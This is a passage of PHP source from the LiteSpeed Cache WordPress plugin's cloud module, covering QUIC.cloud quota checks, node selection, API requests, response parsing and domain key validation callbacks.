}
$usage = $this->_summary['usage.' . $service];
// Image optm is always free
$allowance_max = 0;
if ($service == self::SVC_IMG_OPTM) {
$allowance_max = self::IMG_OPTM_DEFAULT_GROUP;
if (!empty($usage['pkgs']) && $usage['pkgs'] & self::BM_IMG_OPTM_JUMBO_GROUP) {
$allowance_max = self::IMG_OPTM_JUMBO_GROUP;
}
}
$allowance = $usage['quota'] - $usage['used'];
$err = 'out_of_quota';
if ($allowance > 0) {
if ($allowance_max && $allowance_max < $allowance) {
$allowance = $allowance_max;
}
// Daily limit @since 4.2
if (isset($usage['remaining_daily_quota']) && $usage['remaining_daily_quota'] >= 0 && $usage['remaining_daily_quota'] < $allowance) {
$allowance = $usage['remaining_daily_quota'];
if (!$allowance) {
$err = 'out_of_daily_quota';
}
}
return $allowance;
}
// Check Pay As You Go balance
if (empty($usage['pag_bal'])) {
return $allowance_max;
}
if ($allowance_max && $allowance_max < $usage['pag_bal']) {
return $allowance_max;
}
return $usage['pag_bal'];
}
/**
* Sync Cloud usage summary data
*
* @since 3.0
* @access public
*/
public function sync_usage()
{
$usage = $this->_post(self::SVC_D_USAGE);
if (!$usage) {
return;
}
self::debug('sync_usage ' . \json_encode($usage));
foreach (self::$SERVICES as $v) {
$this->_summary['usage.' . $v] = !empty($usage[$v]) ? $usage[$v] : false;
}
self::save_summary();
return $this->_summary;
}
/**
* Clear all existing cloud nodes for future reconnect
*
* @since 3.0
* @access public
*/
public function clear_cloud()
{
foreach (self::$SERVICES as $service) {
if (isset($this->_summary['server.' . $service])) {
unset($this->_summary['server.' . $service]);
}
if (isset($this->_summary['server_date.' . $service])) {
unset($this->_summary['server_date.' . $service]);
}
}
self::save_summary();
self::debug('Cleared all local service node caches');
}
/**
* ping clouds to find the fastest node
*
* @since 3.0
* @access public
*/
public function detect_cloud($service, $force = false)
{
if (in_array($service, self::$CENTER_SVC_SET)) {
return self::CLOUD_SERVER;
}
if (in_array($service, self::$WP_SVC_SET)) {
return self::CLOUD_SERVER_WP;
}
// Check if the stored server needs to be refreshed
if (!$force) {
if (
!empty($this->_summary['server.' . $service]) &&
!empty($this->_summary['server_date.' . $service]) &&
$this->_summary['server_date.' . $service] > time() - 86400 * self::TTL_NODE
) {
return $this->_summary['server.' . $service];
}
}
if (!$service || !in_array($service, self::$SERVICES)) {
$msg = __('Cloud Error', 'litespeed-cache') . ': ' . $service;
Admin_Display::error($msg);
return false;
}
// Send request to Quic Online Service
$json = $this->_post(self::SVC_D_NODES, array('svc' => $this->_maybe_queue($service)));
// Check if get list correctly
if (empty($json['list']) || !is_array($json['list'])) {
self::debug('request cloud list failed: ', $json);
if ($json) {
$msg = __('Cloud Error', 'litespeed-cache') . ": [Service] $service [Info] " . \json_encode($json);
Admin_Display::error($msg);
}
return false;
}
// Ping closest cloud
$speed_list = array();
foreach ($json['list'] as $v) {
// Exclude possible failed 503 nodes
if (!empty($this->_summary['disabled_node']) && !empty($this->_summary['disabled_node'][$v]) && time() - $this->_summary['disabled_node'][$v] < 86400) {
continue;
}
$speed_list[$v] = Utility::ping($v);
}
if (!$speed_list) {
self::debug('nodes are in 503 failed nodes');
return false;
}
$min = min($speed_list);
if ($min == 99999) {
self::debug('failed to ping all clouds');
return false;
}
// Random pick same time range ip (230ms 250ms)
$range_len = strlen($min);
$range_num = substr($min, 0, 1);
$valid_clouds = array();
foreach ($speed_list as $node => $speed) {
if (strlen($speed) == $range_len && substr($speed, 0, 1) == $range_num) {
$valid_clouds[] = $node;
}
// Append the lower speed ones
elseif ($speed < $min * 4) {
$valid_clouds[] = $node;
}
}
if (!$valid_clouds) {
$msg = __('Cloud Error', 'litespeed-cache') . ": [Service] $service [Info] " . __('No available Cloud Node.', 'litespeed-cache');
Admin_Display::error($msg);
return false;
}
self::debug('Closest nodes list', $valid_clouds);
// Check server load
if (in_array($service, self::$SERVICES_LOAD_CHECK)) {
$valid_cloud_loads = array();
foreach ($valid_clouds as $k => $v) {
$response = wp_remote_get($v, array('timeout' => 5, 'sslverify' => true));
if (is_wp_error($response)) {
$error_message = $response->get_error_message();
self::debug('failed to do load checker: ' . $error_message);
continue;
}
$curr_load = \json_decode($response['body'], true);
if (!empty($curr_load['_res']) && $curr_load['_res'] == 'ok' && isset($curr_load['load'])) {
$valid_cloud_loads[$v] = $curr_load['load'];
}
}
if (!$valid_cloud_loads) {
$msg = __('Cloud Error', 'litespeed-cache') . ": [Service] $service [Info] " . __('No available Cloud Node after checked server load.', 'litespeed-cache');
Admin_Display::error($msg);
return false;
}
self::debug('Closest nodes list after load check', $valid_cloud_loads);
$qualified_list = array_keys($valid_cloud_loads, min($valid_cloud_loads));
} else {
$qualified_list = $valid_clouds;
}
$closest = $qualified_list[array_rand($qualified_list)];
self::debug('Chose node: ' . $closest);
// store data into option locally
$this->_summary['server.' . $service] = $closest;
$this->_summary['server_date.' . $service] = time();
self::save_summary();
return $this->_summary['server.' . $service];
}
/**
* May need to convert to queue service
*/
private function _maybe_queue($service)
{
if (in_array($service, self::$_QUEUE_SVC_SET)) {
return self::SVC_QUEUE;
}
return $service;
}
/**
* Get data from QUIC cloud server
*
* @since 3.0
* @access public
*/
public static function get($service, $data = array())
{
$instance = self::cls();
return $instance->_get($service, $data);
}
/**
* Get data from QUIC cloud server
*
* @since 3.0
* @access private
*/
private function _get($service, $data = false)
{
$service_tag = $service;
if (!empty($data['action'])) {
$service_tag .= '-' . $data['action'];
}
if (!$this->_maybe_cloud($service_tag)) {
return;
}
$server = $this->detect_cloud($service);
if (!$server) {
return;
}
$url = $server . '/' . $service;
$param = array(
'site_url' => home_url(),
'domain_key' => $this->_api_key(),
'main_domain' => !empty($this->_summary['main_domain']) ? $this->_summary['main_domain'] : '',
'ver' => Core::VER,
);
if ($data) {
$param['data'] = $data;
}
$url .= '?' . http_build_query($param);
self::debug('getting from : ' . $url);
self::save_summary(array('curr_request.' . $service_tag => time()));
$response = wp_remote_get($url, array('timeout' => 15, 'sslverify' => true));
return $this->_parse_response($response, $service, $service_tag, $server);
}
/**
* Check if is able to do cloud request or not
*
* @since 3.0
* @access private
*/
private function _maybe_cloud($service_tag)
{
$home_url = home_url();
if (!wp_http_validate_url($home_url)) {
self::debug('wp_http_validate_url failed: ' . $home_url);
return false;
}
// Deny if is IP
if (preg_match('#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', Utility::parse_url_safe($home_url, PHP_URL_HOST))) {
self::debug('IP home url is not allowed for cloud service.');
$msg = __('In order to use QC services, need a real domain name, cannot use an IP.', 'litespeed-cache');
Admin_Display::error($msg);
return false;
}
/** @since 5.0 If in valid err_domains, bypass request */
if ($this->_is_err_domain($home_url)) {
self::debug('home url is in err_domains, bypass request: ' . $home_url);
return false;
}
// we don't want the `img_optm-taken` to fail at any given time
if ($service_tag == self::IMGOPTM_TAKEN) {
return true;
}
if ($service_tag == self::SVC_D_SYNC_CONF && $this->_setup_token && !$this->_api_key()) {
self::debug('Skip sync conf if API key is not available yet.');
return false;
}
$expiration_req = self::EXPIRATION_REQ;
// Limit frequent unfinished request to 5min
$timestamp_tag = 'curr_request.';
if ($service_tag == self::SVC_IMG_OPTM . '-' . Img_Optm::TYPE_NEW_REQ) {
$timestamp_tag = 'last_request.';
if ($this->has_pkg(self::SVC_IMG_OPTM, self::BM_IMG_OPTM_PRIO)) {
$expiration_req /= 10;
}
} else {
// For all other requests, if is under debug mode, will always allow
if ($this->conf(self::O_DEBUG) && $this->_api_key()) {
return true;
}
}
if (!empty($this->_summary[$timestamp_tag . $service_tag])) {
$expired = $this->_summary[$timestamp_tag . $service_tag] + $expiration_req - time();
if ($expired > 0) {
self::debug("❌ try [$service_tag] after $expired seconds");
if ($service_tag !== self::API_VER) {
$msg =
__('Cloud Error', 'litespeed-cache') .
': ' .
sprintf(__('Please try after %1$s for service %2$s.', 'litespeed-cache'), Utility::readable_time($expired, 0, true), '<code>' . $service_tag . '</code>');
Admin_Display::error(array('cloud_trylater' => $msg));
}
return false;
}
}
if (in_array($service_tag, self::$_PUB_SVC_SET)) {
return true;
}
if (!$this->_api_key()) {
Admin_Display::error(Error::msg('lack_of_api_key'));
return false;
}
return true;
}
/**
* Post data to QUIC.cloud server
*
* @since 3.0
* @access public
*/
public static function post($service, $data = false, $time_out = false)
{
$instance = self::cls();
return $instance->_post($service, $data, $time_out);
}
/**
* Post data to cloud server
*
* @since 3.0
* @access private
*/
private function _post($service, $data = false, $time_out = false)
{
$service_tag = $service;
if (!empty($data['action'])) {
$service_tag .= '-' . $data['action'];
}
if (!$this->_maybe_cloud($service_tag)) {
return;
}
$server = $this->detect_cloud($service);
if (!$server) {
return;
}
$url = $server . '/' . $this->_maybe_queue($service);
self::debug('posting to : ' . $url);
if ($data) {
$data['service_type'] = $service; // For queue distribution usage
}
$param = array(
'site_url' => home_url(),
'domain_key' => $this->_api_key(),
'main_domain' => !empty($this->_summary['main_domain']) ? $this->_summary['main_domain'] : '',
'ver' => Core::VER,
'data' => $data,
);
self::save_summary(array('curr_request.' . $service_tag => time()));
$response = wp_remote_post($url, array('body' => $param, 'timeout' => $time_out ?: 15, 'sslverify' => true));
return $this->_parse_response($response, $service, $service_tag, $server);
}
/**
* Parse response JSON
* Mark the request successful if the response status is ok
*
* @since 3.0
*/
private function _parse_response($response, $service, $service_tag, $server)
{
if (is_wp_error($response)) {
$error_message = $response->get_error_message();
self::debug('failed to request: ' . $error_message);
if ($service !== self::API_VER && $service !== self::API_NEWS) {
$msg = __('Failed to request via WordPress', 'litespeed-cache') . ': ' . $error_message . " [server] $server [service] $service";
Admin_Display::error($msg);
// Tmp disabled this node from reusing in 1 day
if (empty($this->_summary['disabled_node'])) {
$this->_summary['disabled_node'] = array();
}
$this->_summary['disabled_node'][$server] = time();
self::save_summary();
// Force redetect node
self::debug('Node error, redetecting node [svc] ' . $service);
$this->detect_cloud($service, true);
}
return;
}
$json = \json_decode($response['body'], true);
if (!is_array($json)) {
self::debug('failed to decode response json: ' . $response['body']);
if ($service !== self::API_VER && $service !== self::API_NEWS) {
$msg = __('Failed to request via WordPress', 'litespeed-cache') . ': ' . $response['body'] . " [server] $server [service] $service";
Admin_Display::error($msg);
// Tmp disabled this node from reusing in 1 day
if (empty($this->_summary['disabled_node'])) {
$this->_summary['disabled_node'] = array();
}
$this->_summary['disabled_node'][$server] = time();
self::save_summary();
// Force redetect node
self::debug('Node error, redetecting node [svc] ' . $service);
$this->detect_cloud($service, true);
}
return;
}
if (!empty($json['_code'])) {
self::debug('Hit err _code: ' . $json['_code']);
if ($json['_code'] == 'unpulled_images') {
$msg = __('Cloud server refused the current request due to unpulled images. Please pull the images first.', 'litespeed-cache');
Admin_Display::error($msg);
return;
}
if ($json['_code'] == 'blocklisted') {
$msg = __('Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.', 'litespeed-cache');
Admin_Display::error($msg);
return;
}
if ($json['_code'] == 'rate_limit') {
self::debug('Cloud server rate limit exceeded.');
$msg = __('Cloud server refused the current request due to rate limiting. Please try again later.', 'litespeed-cache');
Admin_Display::error($msg);
return;
}
if ($json['_code'] == 'heavy_load' || $json['_code'] == 'redetect_node') {
// Force redetect node
self::debug('Node redetecting node [svc] ' . $service);
Admin_Display::info(__('Redetected node', 'litespeed-cache') . ': ' . Error::msg($json['_code']));
$this->detect_cloud($service, true);
}
}
if (!empty($json['_503'])) {
self::debug('service 503 unavailable temporarily. ' . $json['_503']);
$msg = __(
'We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.',
'litespeed-cache'
);
$msg .= ' ' . $json['_503'] . " [server] $server [service] $service";
Admin_Display::error($msg);
// Force redetect node
self::debug('Node error, redetecting node [svc] ' . $service);
$this->detect_cloud($service, true);
return;
}
list($json, $return) = $this->extract_msg($json, $service, $server);
if ($return) {
return;
}
self::save_summary(array(
'last_request.' . $service_tag => $this->_summary['curr_request.' . $service_tag],
'curr_request.' . $service_tag => 0,
));
if ($json) {
self::debug2('response ok', $json);
} else {
self::debug2('response ok');
}
// Only successful request return Array
return $json;
}
/**
* Extract msg from json
* @since 5.0
*/
public function extract_msg($json, $service, $server = false, $is_callback = false)
{
if (!empty($json['_info'])) {
self::debug('_info: ' . $json['_info']);
$msg = __('Message from QUIC.cloud server', 'litespeed-cache') . ': ' . $json['_info'];
$msg .= $this->_parse_link($json);
Admin_Display::info($msg);
unset($json['_info']);
}
if (!empty($json['_note'])) {
self::debug('_note: ' . $json['_note']);
$msg = __('Message from QUIC.cloud server', 'litespeed-cache') . ': ' . $json['_note'];
$msg .= $this->_parse_link($json);
Admin_Display::note($msg);
unset($json['_note']);
}
if (!empty($json['_success'])) {
self::debug('_success: ' . $json['_success']);
$msg = __('Good news from QUIC.cloud server', 'litespeed-cache') . ': ' . $json['_success'];
$msg .= $this->_parse_link($json);
Admin_Display::succeed($msg);
unset($json['_success']);
}
// Upgrade is required
if (!empty($json['_err_req_v'])) {
self::debug('_err_req_v: ' . $json['_err_req_v']);
$msg =
sprintf(__('%1$s plugin version %2$s required for this action.', 'litespeed-cache'), Core::NAME, 'v' . $json['_err_req_v'] . '+') .
" [server] $server [service] $service";
// Append upgrade link
$msg2 = ' ' . GUI::plugin_upgrade_link(Core::NAME, Core::PLUGIN_NAME, $json['_err_req_v']);
$msg2 .= $this->_parse_link($json);
Admin_Display::error($msg . $msg2);
return array($json, true);
}
// Parse _carry_on info
if (!empty($json['_carry_on'])) {
self::debug('Carry_on usage', $json['_carry_on']);
// Store generic info
foreach (array('usage', 'promo', 'partner', '_error', '_info', '_note', '_success') as $v) {
if (isset($json['_carry_on'][$v])) {
switch ($v) {
case 'usage':
$usage_svc_tag = in_array($service, array(self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI)) ? self::SVC_PAGE_OPTM : $service;
$this->_summary['usage.' . $usage_svc_tag] = $json['_carry_on'][$v];
break;
case 'promo':
if (empty($this->_summary[$v]) || !is_array($this->_summary[$v])) {
$this->_summary[$v] = array();
}
$this->_summary[$v][] = $json['_carry_on'][$v];
break;
case 'partner':
$this->_summary[$v] = $json['_carry_on'][$v];
break;
case '_error':
case '_info':
case '_note':
case '_success':
$color_mode = substr($v, 1);
$msgs = $json['_carry_on'][$v];
Admin_Display::add_unique_notice($color_mode, $msgs, true);
break;
default:
break;
}
}
}
self::save_summary();
unset($json['_carry_on']);
}
// Parse general error msg
if (!$is_callback && (empty($json['_res']) || $json['_res'] !== 'ok')) {
$json_msg = !empty($json['_msg']) ? $json['_msg'] : 'unknown';
self::debug('❌ _err: ' . $json_msg, $json);
$str_translated = Error::msg($json_msg);
$msg = __('Failed to communicate with QUIC.cloud server', 'litespeed-cache') . ': ' . $str_translated . " [server] $server [service] $service";
$msg .= $this->_parse_link($json);
Admin_Display::error($msg);
// QC may try auto alias
/** @since 5.0 Store the domain as `err_domains` only for QC auto alias feature */
if ($json_msg == 'err_alias') {
if (empty($this->_summary['err_domains'])) {
$this->_summary['err_domains'] = array();
}
$home_url = home_url();
if (!array_key_exists($home_url, $this->_summary['err_domains'])) {
$this->_summary['err_domains'][$home_url] = time();
}
self::save_summary();
}
// Site not on QC, delete invalid domain key
if ($json_msg == 'site_not_registered' || $json_msg == 'err_key') {
$this->_clean_api_key();
}
return array($json, true);
}
unset($json['_res']);
if (!empty($json['_msg'])) {
unset($json['_msg']);
}
return array($json, false);
}
/**
* Clear API key and QC linked status
* @since 5.0
*/
private function _clean_api_key()
{
$this->cls('Conf')->update_confs(array(self::O_API_KEY => ''));
$this->_summary['is_linked'] = 0;
self::save_summary();
$msg = __('Site not recognized. Domain Key has been automatically removed. Please request a new one.', 'litespeed-cache');
$msg .= Doc::learn_more(admin_url('admin.php?page=litespeed-general'), __('Click here to set.', 'litespeed-cache'), true, false, true);
$msg .= Doc::learn_more('https://docs.litespeedtech.com/lscache/lscwp/general/#domain-key', false, false, false, true);
Admin_Display::error($msg, false, true);
}
/**
* REST call: check if the error domain is valid call for auto alias purpose
* @since 5.0
*/
public function rest_err_domains()
{
// Validate token hash first
if (empty($_POST['hash']) || empty($_POST['main_domain']) || empty($_POST['alias'])) {
return self::err('lack_of_param');
}
if (!$this->_api_key() || $_POST['hash'] !== md5(substr($this->_api_key(), 1, 8))) {
return self::err('wrong_hash');
}
list($post_data) = $this->extract_msg($_POST, 'Quic.cloud', false, true);
if ($this->_is_err_domain($_POST['alias'])) {
if ($_POST['alias'] == home_url()) {
$this->_remove_domain_from_err_list($_POST['alias']);
}
$res_hash = substr($this->_api_key(), 2, 4);
self::debug('__callback IP request hash: md5(' . $res_hash . ')');
return self::ok(array('hash' => md5($res_hash)));
}
return self::err('Not an alias req from here');
}
/**
* Remove a domain from err domain
* @since 5.0
*/
private function _remove_domain_from_err_list($url)
{
unset($this->_summary['err_domains'][$url]);
self::save_summary();
}
/**
* Check if is err domain
* @since 5.0
*/
private function _is_err_domain($home_url)
{
if (empty($this->_summary['err_domains'])) {
return false;
}
if (!array_key_exists($home_url, $this->_summary['err_domains'])) {
return false;
}
// Auto delete if too long ago
if (time() - $this->_summary['err_domains'][$home_url] > 86400 * 10) {
$this->_remove_domain_from_err_list($home_url);
}
if (time() - $this->_summary['err_domains'][$home_url] > 86400) {
return false;
}
return true;
}
public function req_rest_api($api, $body = array())
{
$token = $this->_setup_token;
if (empty($token)) {
Admin_Display::error(__('Cannot request REST API, no token saved.', 'litespeed-cache'));
return;
}
$req_args = array(
'headers' => array(
'Authorization' => 'bearer ' . $token,
'Content-Type' => 'application/json',
),
);
self::debug('Req rest api to QC [api] ' . $api);
if (!empty($body)) {
$req_args['body'] = \json_encode($body);
$response = wp_remote_post(self::CLOUD_SERVER . '/v2' . $api, $req_args);
} else {
$response = wp_remote_get(self::CLOUD_SERVER . '/v2' . $api, $req_args);
}
return $this->_parse_rest_response($response);
}
private function _parse_rest_response($response)
{
if (is_wp_error($response)) {
$error_message = $response->get_error_message();
self::debug('failed to request REST API: ' . $error_message);
Admin_Display::error(__('Cloud REST Error', 'litespeed-cache') . ': ' . $error_message);
return $error_message;
} elseif (wp_remote_retrieve_response_code($response) == '401') {
Admin_Display::error(__('Unauthorized access to REST API. Your token has expired.', 'litespeed-cache'));
return 'unauthorized access to REST API.';
}
$json = \json_decode($response['body'], true);
self::debug('QC response', $json);
if (!$json['success']) {
$contactSupport = false;
if (isset($json['info']['errors'])) {
$errs = array();
foreach ($json['info']['errors'] as $err) {
$errs[] = 'Error ' . $err['code'] . ': ' . $err['message'];
if ($err['code'] == 1113) {
$contactSupport = true;
}
}
$error_message = implode('<br>', $errs);
} else {
$error_message = __('Unknown error.', 'litespeed-cache');
$contactSupport = true;
}
if ($contactSupport) {
$error_message .= ' <a href="https://www.quic.cloud/support/" target="_blank">' . __('Contact QUIC.cloud support', 'litespeed-cache') . '</a>';
}
Admin_Display::error(__('Cloud REST API returned error: ', 'litespeed-cache') . $error_message);
return $error_message;
}
return $json;
}
/**
* Show promo from cloud
*
* @since 3.0
* @access public
*/
public function show_promo()
{
// if ( ! $this->_api_key() && ! defined( 'LITESPEED_DISMISS_DOMAIN_KEY' ) ) {
// Admin_Display::error( Error::msg( 'lack_of_api_key' ), true );
// }
if (empty($this->_summary['promo'])) {
return;
}
require_once LSCWP_DIR . 'tpl/banner/cloud_promo.tpl.php';
}
/**
* Clear promo from cloud
*
* @since 3.0
* @access private
*/
private function _clear_promo()
{
if (count($this->_summary['promo']) > 1) {
array_shift($this->_summary['promo']);
} else {
$this->_summary['promo'] = array();
}
self::save_summary();
}
/**
* Parse _links from json
*
* @since 1.6.5
* @since 1.6.7 Self clean the parameter
* @access private
*/
private function _parse_link(&$json)
{
$msg = '';
if (!empty($json['_links'])) {
foreach ($json['_links'] as $v) {
$msg .= ' ' . sprintf('<a href="%s" class="%s" target="_blank">%s</a>', $v['link'], !empty($v['cls']) ? $v['cls'] : '', $v['title']);
}
unset($json['_links']);
}
return $msg;
}
/**
* Request callback validation from Cloud
*
* @since 3.0
* @access public
*/
public function ip_validate()
{
if (empty($_POST['hash'])) {
self::debug('Lack of hash param');
return self::err('lack_of_param');
}
// Note: Using empty here throws a fatal error in PHP v5.3
if (!$this->_api_key()) {
self::debug('Lack of API key');
return self::err('lack_of_api_key');
}
$to_validate = substr($this->_api_key(), 0, 4);
if ($_POST['hash'] !== md5($to_validate)) {
self::debug('__callback IP request hash wrong: md5(' . $to_validate . ') !== ' . $_POST['hash']);
return self::err('err_hash');
}
Control::set_nocache('Cloud IP hash validation');
$res_hash = substr($this->_api_key(), 2, 4);
self::debug('__callback IP request hash: md5(' . $res_hash . ')');
return self::ok(array('hash' => md5($res_hash)));
}
/**
* Can apply for a new token or not
*
* @since 3.0
*/
public function can_token()
{
return empty($this->_summary['token_ts']) || time() - $this->_summary['token_ts'] > self::EXPIRATION_TOKEN;
}
public function set_keygen_token($token)
{
$this->_summary['token'] = $token;
$this->_summary['token_ts'] = time();
if (!empty($this->_summary['apikey_ts'])) {
unset($this->_summary['apikey_ts']);
}
self::save_summary();
}
/**
* Send request for domain key, get json [ 'token' => 'asdfasdf' ]
*
* @since 3.0
* @access public
*/
public function gen_key()
{
$data = array(
'site_url' => home_url(),
'rest' => function_exists('rest_get_url_prefix') ? rest_get_url_prefix() : apply_filters('rest_url_prefix', 'wp-json'),
'server_ip' => $this->conf(self::O_SERVER_IP),
);
if (!empty($this->_summary['token'])) {
$data['token'] = $this->_summary['token'];
}
$response = wp_remote_get(self::CLOUD_SERVER . '/d/req_key?data=' . Utility::arr2str($data));
if (is_wp_error($response)) {
$error_message = $response->get_error_message();
self::debug('failed to gen_key: ' . $error_message);
Admin_Display::error(__('Cloud Error', 'litespeed-cache') . ': ' . $error_message);
return;
}
$json = \json_decode($response['body'], true);
// Save token option
if (!empty($json['token'])) {
$this->set_keygen_token($json['token']);
}
// Parse general error msg
if (empty($json['_res']) || $json['_res'] !== 'ok') {
// clear current token
unset($this->_summary['token']);
self::save_summary();
$json_msg = !empty($json['_msg']) ? $json['_msg'] : 'unknown';
self::debug('❌ _err: ' . $json_msg);
$msg = __('Failed to communicate with QUIC.cloud server', 'litespeed-cache') . ': ' . Error::msg($json_msg);
$msg .= $this->_parse_link($json);
Admin_Display::error($msg);
return;
}
// This is a ok msg
if (!empty($json['_msg'])) {
self::debug('_msg: ' . $json['_msg']);
$msg = __('Message from QUIC.cloud server', 'litespeed-cache') . ': ' . Error::msg($json['_msg']);
$msg .= $this->_parse_link($json);
Admin_Display::info($msg);
return;
}
self::debug('✅ send request for key successfully.');
Admin_Display::succeed(__('Applied for Domain Key successfully. Please wait for result. Domain Key will be automatically sent to your WordPress.', 'litespeed-cache'));
}
/**
* Token callback validation from Cloud
*
* @since 3.0
* @access public
*/
public function token_validate()
{
try {
$this->validate_hash();
} catch (\Exception $e) {
return self::err($e->getMessage());
}
Control::set_nocache('Cloud token validation');
self::debug('✅ __callback token validation passed');
return self::ok(array('hash' => md5(substr($this->_summary['token'], 3, 8))));
}
/**
* Callback for approval of api key after validated token and gen key from QUIC.cloud
*
* @since 3.0
* @access public
*/
public function save_apikey()
{
// Validate token hash first
if (empty($_POST['domain_key']) || !isset($_POST['is_linked'])) {
return self::err('lack_of_param');
}
try {
$this->validate_hash(1);
} catch (\Exception $e) {
return self::err($e->getMessage());
}
// This doesn't need to sync QUIC conf but need to clear nodes
$this->cls('Conf')->update_confs(array(self::O_API_KEY => $_POST['domain_key']));
$this->_summary['is_linked'] = $_POST['is_linked'] ? 1 : 0;
$this->_summary['apikey_ts'] = time();
if (!empty($_POST['main_domain'])) {
$this->_summary['main_domain'] = $_POST['main_domain'];
}
// Clear token
unset($this->_summary['token']);
self::save_summary();
self::debug('✅ saved auth_key');
Admin_Display::succeed('🎊 ' . __('Congratulations, your Domain Key has been approved! The setting has been updated accordingly.', 'litespeed-cache'));
return self::ok();
}
/**
* Validate POST hash match local token or not
*
* @since 3.0
*/
public function validate_hash($offset = 0)
{
if (empty($_POST['hash'])) {
self::debug('Lack of hash param');
throw new \Exception('lack_of_param');
}
if (empty($this->_summary['token'])) {
self::debug('token validate failed: token not exist');
throw new \Exception('lack_of_local_token');
}
if ($_POST['hash'] !== md5(substr($this->_summary['token'], $offset, 8))) {
self::debug('token validate failed: token mismatch hash !== ' . $_POST['hash']);
throw new \Exception('mismatch');
}
}
/**
* If can link the domain to QC user or not
*
* @since 3.0
*/
public function can_link_qc()
{
return empty($this->_summary['is_linked']) && $this->_api_key();
}
/**
* Link the domain to QC user
*
* @since 3.0
*/
private function _link_to_qc()
{
if (!$this->can_link_qc()) {
return;
}
$data = array(
'site_url' => home_url(),
'domain_hash' => md5(substr($this->_api_key(), 0, 8)),
'ref' => get_admin_url(null, 'admin.php?page=litespeed-general'),
);
wp_redirect(self::CLOUD_SERVER_DASH . '/u/wp?data=' . Utility::arr2str($data));
exit();
}
public function qc_link()
{
$data = array(
'site_url' => home_url(),
'domain_hash' => md5(substr($this->_api_key(), 0, 8)),
'ver' => LSCWP_V,
);
return self::CLOUD_SERVER_DASH . '/u/wp?data=' . Utility::arr2str($data); // . (!empty($this->_summary['is_linked']) ? '?wplogin=1' : '');
}
public function set_linked()
{
$this->_summary['is_linked'] = 1;
self::save_summary();
# Force resync qc conf
$this->cls('CDN\Quic')->try_sync_conf(true);
}
/**
* Update is_linked status if is a redirected back from QC
*
* @since 3.0
* @since 5.0 renamed update_is_linked_status -> parse_qc_redir, add param for additional args. Return args if exist.
*/
public function parse_qc_redir($check_token = false)
{
if (!$this->_api_key() && !empty($this->_summary['is_linked'])) {
$this->_summary['is_linked'] = 0;
self::save_summary();
}
if (empty($_GET['qc_res'])) {
return false;
}
if ($_GET['qc_res'] == 'registered') {
if (!empty($_GET['qc_new'])) {
Admin_Display::succeed(__('QUIC.cloud account has been created and successfully linked.', 'litespeed-cache'), true);
} else {
Admin_Display::succeed(__('QUIC.cloud account has been successfully linked.', 'litespeed-cache'), true);
}
}
$qsDrop = array();
$qsDrop[] = ".replace( '&qc_res=" . sanitize_key($_GET['qc_res']) . ', \'\' )';
if (!empty($_GET['domain_hash'])) {
if (empty($_GET['domain_hash_nonce'])) {
Admin_Display::error(__('Domain Key hash nonce missing.', 'litespeed-cache'), true);
return false;
}
$salt = substr($this->_api_key(), 3, 8);
$tick = ceil(time() / 43200);
$nonce = md5($salt . $tick);
$nonce2 = md5($salt . ($tick - 1));
if ($_GET['domain_hash_nonce'] != $nonce && $_GET['domain_hash_nonce'] != $nonce2) {
Admin_Display::error(__('Domain Key hash nonce mismatch. Please correct your server clock.', 'litespeed-cache'), true);
return false;
}
if (md5(substr($this->_api_key(), 2, 8)) !== $_GET['domain_hash']) {
Admin_Display::error(__('Domain Key hash mismatch', 'litespeed-cache'), true);
return false;
}
$this->set_linked();
$qsDrop[] = ".replace( '&domain_hash=" . sanitize_key($_GET['domain_hash']) . ', \'\' )';
}
$token = '';
if ($check_token && !empty($_GET['token'])) {
// Validate nonce `litespeed_qc_link`
if (empty($_GET['nonce']) || !wp_verify_nonce($_GET['nonce'], 'litespeed_qc_link')) {
Admin_Display::error(__('Failed to verify domain nonce.', 'litespeed-cache'), true);
return false;
}
$token = preg_replace('/[^0-9a-zA-Z]/', '', $_GET['token']);
$qsDrop[] = ".replace( '&token=" . urlencode($_GET['token']) . ', \'\' )';
}
$replaceStr = implode('', $qsDrop);
// Drop QS
echo "<script>window.history.pushState( 'remove_gen_link', document.title, window.location.href" . $replaceStr . ' );</script>';
return $token;
}
/**
* Check if this visit is from cloud or not
*
* @since 3.0
*/
public function is_from_cloud()
{
$check_point = time() - 86400 * self::TTL_IPS;
if (empty($this->_summary['ips']) || empty($this->_summary['ips_ts']) || $this->_summary['ips_ts'] < $check_point) {
self::debug('Force updating ip as ips_ts is older than ' . self::TTL_IPS . ' days');
$this->_update_ips();
}
$res = $this->cls('Router')->ip_access($this->_summary['ips']);
if (!$res) {
self::debug('❌ Not our cloud IP');
// Auto check ip list again but need an interval limit safety.
if (empty($this->_summary['ips_ts_runner']) || time() - $this->_summary['ips_ts_runner'] > 600) {
self::debug('Force updating ip as ips_ts_runner is older than 10mins');
// Refresh IP list for future detection
$this->_update_ips();
$res = $this->cls('Router')->ip_access($this->_summary['ips']);
if (!$res) {
self::debug('❌ 2nd time: Not our cloud IP');
} else {
self::debug('✅ Passed Cloud IP verification');
}
return $res;
}
} else {
self::debug('✅ Passed Cloud IP verification');
}
return $res;
}
/**
* Update Cloud IP list
*
* @since 4.2
*/
private function _update_ips()
{
self::debug('Load remote Cloud IP list from ' . self::CLOUD_IPS);
// Prevent multiple call in a short period
self::save_summary(array('ips_ts' => time(), 'ips_ts_runner' => time()));
$response = wp_remote_get(self::CLOUD_IPS . '?json');
if (is_wp_error($response)) {
$error_message = $response->get_error_message();
self::debug('failed to get ip whitelist: ' . $error_message);
throw new \Exception('Failed to fetch QUIC.cloud whitelist ' . $error_message);
}
$json = \json_decode($response['body'], true);
self::debug('Load ips', $json);
self::save_summary(array('ips' => $json));
}
/**
* Return succeeded response
*
* @since 3.0
*/
public static function ok($data = array())
{
$data['_res'] = 'ok';
return $data;
}
/**
* Return error
*
* @since 3.0
*/
public static function err($code)
{
return array('_res' => 'err', '_msg' => $code);
}
/**
* Return pong for ping to check PHP function availability
* @since 6.5
*/
public function ping()
{
$resp = array(
'v_lscwp' => Core::VER,
'v_php' => PHP_VERSION,
'v_wp' => $GLOBALS['wp_version'],
);
if (!empty($_POST['funcs'])) {
foreach ($_POST['funcs'] as $v) {
$resp[$v] = function_exists($v) ? 'y' : 'n';
}
}
if (!empty($_POST['classes'])) {
foreach ($_POST['classes'] as $v) {
$resp[$v] = class_exists($v) ? 'y' : 'n';
